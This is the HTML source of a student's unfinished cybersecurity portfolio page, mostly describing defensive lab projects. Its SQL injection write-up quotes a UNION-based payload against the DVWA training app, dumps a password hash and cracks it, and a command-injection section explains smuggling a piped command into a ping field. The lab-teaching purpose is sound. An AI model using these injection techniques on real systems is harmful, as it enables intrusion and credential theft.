class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#09796064496b6c6c626468677a276d6c7f"><span class="__cf_email__" data-cfemail="e191888ca18384848a8c808f92cf858497">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a 